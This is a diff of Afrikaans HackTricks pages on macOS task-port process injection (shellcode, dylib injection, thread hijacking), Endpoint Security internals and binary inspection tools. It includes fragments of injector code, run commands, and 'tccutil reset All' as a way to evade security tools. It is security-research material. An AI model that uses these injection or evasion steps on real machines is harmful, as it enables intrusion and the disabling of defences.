* As die program die **`com.apple.security.get-task-allow` toestemming** het, kan prosesse van dieselfde gebruiker toegang tot die taakpoort kry (gewoonlik bygevoeg deur Xcode vir foutopsporing). Die **notariseringsproses** sal dit nie toelaat vir produksie vrystellings nie.
* Programme met die **`com.apple.system-task-ports` toestemming** kan die taakpoort vir enige proses kry, behalwe die kernel. In ouer weergawes is dit genoem **`task_for_pid-allow`**. Dit word slegs aan Apple-toepassings toegeken.
* **Root kan toegang tot taakpoorte** van programme verkry wat nie met 'n **verharde** hardloopomgewing saamgestel is nie (en nie van Apple nie).
### Shellcode-inspuiting in draad via Taakpoort
@ -293,10 +295,10 @@ return 0;
```
{% endtab %}
{% tab title="entitlements.plist" %}
### Toestemmingslêer
{% tab title="entitlements.plist" %}
### Toestemmings.plist
Hierdie lêer bevat spesifieke toestemmings wat aan 'n toepassing toegeken word om sekere aksies op die macOS-stelsel uit te voer. Dit is 'n belangrike komponent vir die beheer van toepassingsprivileges en -toegang.
Hierdie lêer bevat die toestemmings wat aan 'n toepassing toegeken is om spesifieke aksies op die macOS-stelsel uit te voer. Dit is belangrik om die inhoud van hierdie lêer te verstaan om te verseker dat die toepassing slegs die nodige toestemmings het en nie onnodige bevoegdhede nie.
{% endtab %}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -516,15 +518,15 @@ return 0;
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
### Dylib Injeksie in draad via Taakpoort
### Dylib Inspruiting in draad via Taakpoort
In macOS kan **drade** gemanipuleer word via **Mach** of deur die gebruik van die **posix `pthread` api**. Die draad wat ons gegenereer het in die vorige injeksie, is gegenereer met behulp van die Mach api, so **dit is nie posix voldoenend nie**.
In macOS **drade** kan gemanipuleer word via **Mach** of deur die gebruik van **posix `pthread` api**. Die draad wat ons in die vorige inspuiting gegenereer het, is gegenereer met behulp van die Mach api, so **dit is nie posix voldoenend nie**.
Dit was moontlik om 'n eenvoudige shellkode in te spuit om 'n bevel uit te voer omdat dit **nie met posix voldoenende api's hoef te werk nie**, slegs met Mach. **Meer komplekse injeksies** sou die **draad** ook **posix voldoenend** moet wees.
Dit was moontlik om 'n eenvoudige skalakode in te spuit om 'n bevel uit te voer omdat dit nie met posix voldoenende api's hoef te werk nie, slegs met Mach. **Meer komplekse inspuitings** sou die **draad** ook **posix voldoenend** moet wees.
Daarom, om die draad te **verbeter**, behoort dit **`pthread_create_from_mach_thread`** aan te roep wat 'n geldige pthread sal skep. Dan kan hierdie nuwe pthread **dlopen** aanroep om 'n dylib van die stelsel te **laai**, sodat dit moontlik is om aangepaste biblioteke te laai in plaas daarvan om nuwe shellkode te skryf om verskillende aksies uit te voer.
Daarom, om die draad te **verbeter**, behoort dit **`pthread_create_from_mach_thread`** te roep wat 'n geldige pthread sal skep. Dan kan hierdie nuwe pthread **dlopen** aanroep om 'n dylib van die stelsel te **laai**, sodat dit moontlik is om aangepaste biblioteke te laai in plaas daarvan om nuwe skalakode te skryf om verskillende aksies uit te voer.
Jy kan **voorbeeld dylibs** vind in (byvoorbeeld een wat 'n log genereer en dan kan jy daarna luister):
Jy kan **voorbeeld dylibs** vind in (byvoorbeeld die een wat 'n log genereer en dan kan jy daarna luister):
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
@ -741,7 +743,7 @@ fprintf(stderr,"Kan nie geheue-toestemmings instel vir die kode van die afgeleë
return (-4);
}
// Stel die toestemmings op die toegewysde stokgeheue in
// Stel die toestemmings op die toegewysde stokgeheue
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
@ -809,7 +811,7 @@ fprintf(stderr,"Dylib nie gevind nie\n");
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### Draadkaping via Taakpoort <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
### Draadkaping via Taakpoort <a href="#stap-1-draadkaping" id="stap-1-draadkaping"></a>
In hierdie tegniek word 'n draad van die proses gekaap:
@ -847,16 +849,17 @@ Vir meer inligting, kyk:
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,83 +1,84 @@
# macOS Sisteemuitbreidings
{% hint style="success" %}
Leer en oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer en oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegramgroep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
</details>
{% endhint %}
## Sisteemuitbreidings / Eindpuntsekuriteitsraamwerk
## Sisteemuitbreidings / Eindpuntbeveiligingsraamwerk
In teenstelling met Kerneluitbreidings, **hardloop Sisteemuitbreidings in gebruikerspasie** eerder as in die kernpasie, wat die risiko van 'n stelselstoring as gevolg van uitbreidingsfoute verminder.
In teenstelling met Kerneluitbreidings, **loop Sisteemuitbreidings in gebruikersruimte** in plaas van kernelruimte, wat die risiko van 'n stelselbotsing as gevolg van uitbreidingsfoute verminder.
<figure><img src="../../../.gitbook/assets/image (606).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure>
Daar is drie tipes sisteemuitbreidings: **DriverKit**-uitbreidings, **Netwerk**-uitbreidings, en **Eindpuntsekuriteit**-uitbreidings.
Daar is drie tipes sisteemuitbreidings: **DriverKit**-uitbreidings, **Netwerk**-uitbreidings, en **Eindpuntbeveiliging**-uitbreidings.
### **DriverKit-uitbreidings**
DriverKit is 'n vervanging vir kerneluitbreidings wat **hardwaresondersteuning bied**. Dit maak dit moontlik vir toestuurprogramme (soos USB, Seriële, NIC, en HID-toestuurprogramme) om in gebruikerspasie te hardloop eerder as in kernpasie. Die DriverKit-raamwerk sluit **gebruikerspasie-weergawes van sekere I/O Kit-klasse** in, en die kern stuur normale I/O Kit-gebeure na gebruikerspasie, wat 'n veiliger omgewing bied vir hierdie toestuurprogramme om te hardloop.
DriverKit is 'n vervanging vir kerneluitbreidings wat **hardwaresondersteuning bied**. Dit maak dit moontlik vir toestuurprogramme (soos USB, Seriële, NIC, en HID-toestuurprogramme) om in gebruikersruimte te hardloop eerder as in kernelruimte. Die DriverKit-raamwerk sluit **gebruikersruimte-weergawes van sekere I/O Kit-klasse** in, en die kernel stuur normale I/O Kit-gebeure na gebruikersruimte, wat 'n veiliger omgewing bied vir hierdie toestuurprogramme om te hardloop.
### **Netwerkuitbreidings**
Netwerkuitbreidings bied die vermoë om netwerkgedrag aan te pas. Daar is verskeie tipes Netwerkuitbreidings:
* **Toepassingsproksi**: Dit word gebruik om 'n VPN-klient te skep wat 'n vloeigeoriënteerde, aangepaste VPN-protokol implementeer. Dit beteken dit hanteer netwerkverkeer op grond van verbindings (of vloeie) eerder as individuele pakkette.
* **Pakketspoor**: Dit word gebruik om 'n VPN-klient te skep wat 'n pakketgeoriënteerde, aangepaste VPN-protokol implementeer. Dit beteken dit hanteer netwerkverkeer op grond van individuele pakkette.
* **Toepassingsproksi**: Dit word gebruik om 'n VPN-kliënt te skep wat 'n vloeigeoriënteerde, aangepaste VPN-protokol implementeer. Dit beteken dit hanteer netwerkverkeer op grond van verbindings (of vloeie) eerder as individuele pakkette.
* **Pakketspoor**: Dit word gebruik om 'n VPN-kliënt te skep wat 'n pakketgeoriënteerde, aangepaste VPN-protokol implementeer. Dit beteken dit hanteer netwerkverkeer op grond van individuele pakkette.
* **Filterdata**: Dit word gebruik om netwerk "vloeie" te filter. Dit kan netwerkdata op vloeivlak monitor of wysig.
* **Filterpakkette**: Dit word gebruik om individuele netwerkpakkette te filter. Dit kan netwerkdata op pakketvlak monitor of wysig.
* **DNS-proksi**: Dit word gebruik om 'n aangepaste DNS-leweransier te skep. Dit kan gebruik word om DNS-versoeke en -antwoorde te monitor of wysig.
* **DNS-proksi**: Dit word gebruik om 'n aangepaste DNS-lewerancier te skep. Dit kan gebruik word om DNS-versoeke en -antwoorde te monitor of wysig.
## Eindpuntsekuriteitsraamwerk
## Eindpuntbeveiligingsraamwerk
Eindpuntsekuriteit is 'n raamwerk wat deur Apple in macOS voorsien word en 'n stel API's vir stelselsekuriteit bied. Dit is bedoel vir gebruik deur **sekuriteitsvennote en ontwikkelaars om produkte te bou wat stelselaktiwiteit kan monitor en beheer** om skadelike aktiwiteit te identifiseer en teen te beskerm.
Eindpuntbeveiliging is 'n raamwerk wat deur Apple in macOS voorsien word en 'n stel API's vir stelselsekuriteit bied. Dit is bedoel vir gebruik deur **sekuriteitsvennote en ontwikkelaars om produkte te bou wat stelselaktiwiteit kan monitor en beheer** om skadelike aktiwiteit te identifiseer en teen te beskerm.
Hierdie raamwerk bied 'n **versameling API's om stelselaktiwiteit te monitor en te beheer**, soos prosesuitvoerings, lêersisteemgebeure, netwerk- en kerngebeure.
Hierdie raamwerk bied 'n **versameling API's om stelselaktiwiteit te monitor en te beheer**, soos prosesuitvoerings, lêersisteemgebeure, netwerk- en kernelgebeure.
Die kern van hierdie raamwerk word geïmplementeer in die kern, as 'n Kerneluitbreiding (KEXT) geleë by **`/System/Library/Extensions/EndpointSecurity.kext`**. Hierdie KEXT bestaan uit verskeie sleutelkomponente:
Die kern van hierdie raamwerk word geïmplementeer in die kernel, as 'n Kerneluitbreiding (KEXT) geleë by **`/System/Library/Extensions/EndpointSecurity.kext`**. Hierdie KEXT bestaan uit verskeie sleutelkomponente:
* **EndpointSecurityDriver**: Dit tree op as die "toegangspunt" vir die kernuitbreiding. Dit is die hoofpunt van interaksie tussen die OS en die Eindpuntsekuriteitsraamwerk.
* **EndpointSecurityEventManager**: Hierdie komponent is verantwoordelik vir die implementering van kernhake. Kernhake maak dit moontlik vir die raamwerk om stelselgebeure te monitor deur stelseloproepe te onderskep.
* **EndpointSecurityClientManager**: Dit bestuur die kommunikasie met gebruikerspasie-kliënte, hou by watter kliënte gekoppel is en gebeurteniskennisgewings moet ontvang.
* **EndpointSecurityMessageManager**: Dit stuur boodskappe en gebeurteniskennisgewings na gebruikerspasie-kliënte.
* **EndpointSecurityDriver**: Dit tree op as die "ingangspunt" vir die kerneluitbreiding. Dit is die hoofpunt van interaksie tussen die OS en die Eindpuntbeveiligingsraamwerk.
* **EndpointSecurityEventManager**: Hierdie komponent is verantwoordelik vir die implementering van kernelhake. Kernelhake maak dit moontlik vir die raamwerk om stelselgebeure te monitor deur stelseloproepe te onderskep.
* **EndpointSecurityClientManager**: Dit bestuur die kommunikasie met gebruikersruimtekliënte, hou by watter kliënte gekoppel is en kennis moet neem van gebeurteniskennisgewings.
* **EndpointSecurityMessageManager**: Dit stuur boodskappe en gebeurteniskennisgewings na gebruikersruimtekliënte.
Die gebeure wat die Eindpuntsekuriteitsraamwerk kan monitor, word gekategoriseer in:
Die gebeure wat die Eindpuntbeveiligingsraamwerk kan monitor word gekategoriseer in:
* Lêergebeure
* Prosessgebeure
* Sokketgebeure
* Kerngebeure (soos die laai/ontlaai van 'n kernuitbreiding of die oopmaak van 'n I/O Kit-toestel)
* Kernelgebeure (soos die laai/ontlaai van 'n kerneluitbreiding of die oopmaak van 'n I/O Kit-toestel)
### Eindpuntsekuriteitsraamwerkargitektuur
### Eindpuntbeveiligingsraamwerkargitektuur
<figure><img src="../../../.gitbook/assets/image (1068).png" alt="https://www.youtube.com/watch?v=jaVkpM1UqOs"><figcaption></figcaption></figure>
**Gebruikerspasie-kommunikasie** met die Eindpuntsekuriteitsraamwerk gebeur deur die IOUserClient-klas. Twee verskillende subklasse word gebruik, afhangende van die tipe oproeper:
**Gebruikersruimte kommunikasie** met die Eindpuntbeveiligingsraamwerk gebeur deur die IOUserClient-klas. Twee verskillende subklasse word gebruik, afhangende van die tipe oproeper:
* **EndpointSecurityDriverClient**: Dit vereis die `com.apple.private.endpoint-security.manager` toestemming, wat slegs deur die stelselproses `endpointsecurityd` besit word.
* **EndpointSecurityExternalClient**: Dit vereis die `com.apple.developer.endpoint-security.client` toestemming. Dit sou tipies deur derdeparty-sekuriteitsagteware gebruik word wat met die Eindpuntsekuriteitsraamwerk moet interaksieer.
* **EndpointSecurityDriverClient**: Dit vereis die `com.apple.private.endpoint-security.manager` toestemming, wat slegs deur die stelselproses `endpointsecurityd` gehou word.
* **EndpointSecurityExternalClient**: Dit vereis die `com.apple.developer.endpoint-security.client` toestemming. Dit sou tipies gebruik word deur derdeparty-sekuriteitsagteware wat met die Eindpuntbeveiligingsraamwerk moet interaksie hê.
Die Eindpuntsekuriteitsuitbreidings:**`libEndpointSecurity.dylib`** is die C-biblioteek wat sisteemuitbreidings gebruik om met die kern te kommunikeer. Hierdie biblioteek gebruik die I/O Kit (`IOKit`) om met die Eindpuntsekuriteits-KEXT te kommunikeer.
Die Eindpuntbeveiligingsuitbreidings:**`libEndpointSecurity.dylib`** is die C-biblioteek wat sisteemuitbreidings gebruik om met die kernel te kommunikeer. Hierdie biblioteek gebruik die I/O Kit (`IOKit`) om met die Eindpuntbeveiligings-KEXT te kommunikeer.
**`endpointsecurityd`** is 'n sleutelstelseldaemon wat betrokke is by die bestuur en aanvang van eindpuntsekuriteitstelseluitbreidings, veral gedurende die vroeë opstartproses. **Slegs stelseluitbreidings** gemerk met **`NSEndpointSecurityEarlyBoot`** in hul `Info.plist`-lêer ontvang hierdie vroeë opstartbehandeling.
**`endpointsecurityd`** is 'n sleutelstelseldaemon wat betrokke is by die bestuur en aan die gang sit van eindpuntbeveiligingstelseluitbreidings, veral gedurende die vroeë opstartproses. **Slegs sisteemuitbreidings** gemerk met **`NSEndpointSecurityEarlyBoot`** in hul `Info.plist`-lêer ontvang hierdie vroeë opstartbehandeling.
'n Ander stelseldaemon, **`sysextd`**, **valideer stelseluitbreidings** en skuif hulle na die regte stelsellokasies. Dit vra dan die relevante daemon om die uitbreiding te laai. Die **`SystemExtensions.framework`** is verantwoordelik vir die aktivering en deaktivering van stelseluitbreidings.
'n Ander stelseldaemon, **`sysextd`**, **valideer sisteemuitbreidings** en skuif hulle na die regte stelsellokasies. Dit vra dan die relevante daemon om die uitbreiding te laai. Die **`SystemExtensions.framework`** is verantwoordelik vir die aktivering en deaktivering van sisteemuitbreidings.
## ESF-verbygaan
## Omskep ESF
ESF word deur sekuriteitsgereedskap gebruik wat sal probeer om 'n rooi span-lid te identifiseer, dus enige inligting oor hoe dit vermy kan word, klink interessant.
ESF word deur sekuriteitsgereedskap gebruik wat sal probeer om 'n rooi span-lid op te spoor, dus enige inligting oor hoe dit vermy kan word, klink interessant.
### CVE-2021-30965
Die ding is dat die sekuriteitsprogram **Volle Skyf Toegang-toestemmings** moet hê. Dus as 'n aanvaller dit kon verwyder, kon hy voorkom dat die sagteware hardloop:
Die ding is dat die sekuriteitsaansoek **Volle Skyf Toegang-toestemmings** moet hê. Dus as 'n aanvaller dit kon verwyder, kon hy voorkom dat die sagteware hardloop:
```bash
tccutil reset All
```
@ -90,16 +91,17 @@ Aan die einde is hierdie probleem opgelos deur die nuwe toestemming **`kTCCServi
* [**OBTS v3.0: "Eindpuntbeveiliging & Onveiligheid" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
* [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html)
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# macOS-toepassings - Inspeksie, foutopsporing en Fuzzing
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steel-malware** gekompromitteer is.
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneemname en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Die primêre doel van WhiteIntel is om rekening-oorneem te bekamp en lospryse-aanvalle as gevolg van inligtingsteelmalware te voorkom.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
@ -121,20 +122,20 @@ Hierdie hulpmiddel maak dit moontlik om Apple skyfafbeeldings (**.dmg**) lêers
```bash
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
```
Dit sal in `/Volumes` aangeheg word.
Dit sal in `/Volumes` aangeheg word
### Verpakte bineêre lêers
### Gepakte bineêre lêers
* Kontroleer vir hoë entropie
* Kontroleer die strings (is daar byna geen verstaanbare string nie, verpakte)
* Kontroleer die strings (is daar byna geen verstaanbare string nie, gepak)
* Die UPX-pakker vir MacOS genereer 'n afdeling genaamd "\_\_XHDR"
## Statische Objective-C-analise
## Statische Objective-C analise
### Metadata
{% hint style="danger" %}
Let daarop dat programme geskryf in Objective-C hul klasverklarings behou wanneer dit saamgestel word in [Mach-O bineêre lêers](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Sulke klasverklarings sluit die naam en tipe van in:
Let daarop dat programme geskryf in Objective-C hul klasverklarings behou wanneer dit gekompileer word na [Mach-O bineêre lêers](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Sulke klasverklarings sluit die naam en tipe van in:
{% endhint %}
* Die gedefinieerde koppelvlakke
@ -146,17 +147,17 @@ Let daarop dat hierdie name geobfuskeer kan word om die omkeer van die bineêre
### Funksie-oproep
Wanneer 'n funksie in 'n bineêre lêer wat Objective-C gebruik, geroep word, sal die saamgestelde kode in plaas daarvan daardie funksie roep, **`objc_msgSend`** roep. Dit sal die finale funksie roep:
Wanneer 'n funksie in 'n bineêre lêer wat Objective-C gebruik, geroep word, sal die gekompileerde kode in plaas daarvan daardie funksie roep, **`objc_msgSend`** roep. Dit sal die finale funksie roep:
![](<../../../.gitbook/assets/image (305).png>)
Die parameters wat hierdie funksie verwag is:
* Die eerste parameter (**self**) is " 'n aanwyser wat wys na die **instansie van die klas wat die boodskap moet ontvang** ". Of meer eenvoudig gestel, dit is die objek waarop die metode opgeroep word. As die metode 'n klasmetode is, sal dit 'n instansie van die klasobjek wees (as geheel), terwyl vir 'n instansiemetode, sal self wys na 'n geïnstantieerde instansie van die klas as 'n objek.
* Die eerste parameter (**self**) is " 'n aanwyser wat wys na die **instansie van die klas wat die boodskap moet ontvang** ". Of meer eenvoudig gestel, dit is die objek waarop die metode opgeroep word. As die metode 'n klasmetode is, sal dit 'n instansie van die klasobjek wees (as geheel), terwyl vir 'n instansiemetode sal self wys na 'n geïnstantieerde instansie van die klas as 'n objek.
* Die tweede parameter, (**op**), is "die selektor van die metode wat die boodskap hanteer". Weereens, meer eenvoudig gestel, dit is net die **naam van die metode**.
* Die oorblywende parameters is enige **waardes wat deur die metode benodig word** (op).
Sien hoe om hierdie inligting maklik te **kry met `lldb` in ARM64** op hierdie bladsy:
Sien hoe om hierdie inligting maklik te kry met `lldb` in ARM64 op hierdie bladsy:
{% content-ref url="arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](arm64-basic-assembly.md)
@ -172,9 +173,9 @@ x64:
| **4de argument** | **rcx** | **2de argument vir die metode** |
| **5de argument** | **r8** | **3de argument vir die metode** |
| **6de argument** | **r9** | **4de argument vir die metode** |
| **7de+ argument** | <p><strong>rsp+</strong><br><strong>(op die stapel)</strong></p> | **5de+ argument vir die metode** |
| **7de+ argument** | <p><strong>rsp+</strong><br><strong>(op die stok)</strong></p> | **5de+ argument vir die metode** |
### Stort ObjectiveC-metadata
### Stort ObjectiveC metadata
### Dynadump
@ -182,7 +183,7 @@ x64:
```bash
./dynadump dump /path/to/bin
```
Ten tyde van die skryf van hierdie boek, is **dit tans die een wat die beste werk**.
Ten tyde van die skryf van hierdie stuk is **tans die een wat die beste werk**.
#### Gewone gereedskap
```bash
@ -198,7 +199,7 @@ Dit is oud en nie onderhou nie, so dit sal waarskynlik nie behoorlik werk nie.
#### ICDump
[**iCDump**](https://github.com/romainthomas/iCDump) is 'n moderne en kruisplatform Objective-C klasse dump. Vergeleke met bestaande gereedskap kan iCDump onafhanklik van die Apple-ekosisteem hardloop en dit bloot Python-bindings.
[**iCDump**](https://github.com/romainthomas/iCDump) is 'n moderne en kruisplatform Objective-C klasse dump. Vergeleke met bestaande gereedskappe, kan iCDump onafhanklik van die Apple-ekosisteem hardloop en dit bloot Python-bindings.
```python
import icdump
metadata = icdump.objc.parse("/path/to/bin")
@ -209,7 +210,7 @@ print(metadata.to_decl())
Met Swift-binêre lêers, aangesien daar Objective-C-verenigbaarheid is, kan jy soms verklarings onttrek deur [class-dump](https://github.com/nygard/class-dump/) te gebruik, maar nie altyd nie.
Met die **`jtool -l`** of **`otool -l`** opdragreëls is dit moontlik om verskeie afdelings te vind wat met die **`__swift5`** voorvoegsel begin:
Met die **`jtool -l`** of **`otool -l`** opdragreëls is dit moontlik om verskeie seksies te vind wat met die **`__swift5`** voorvoegsel begin:
```bash
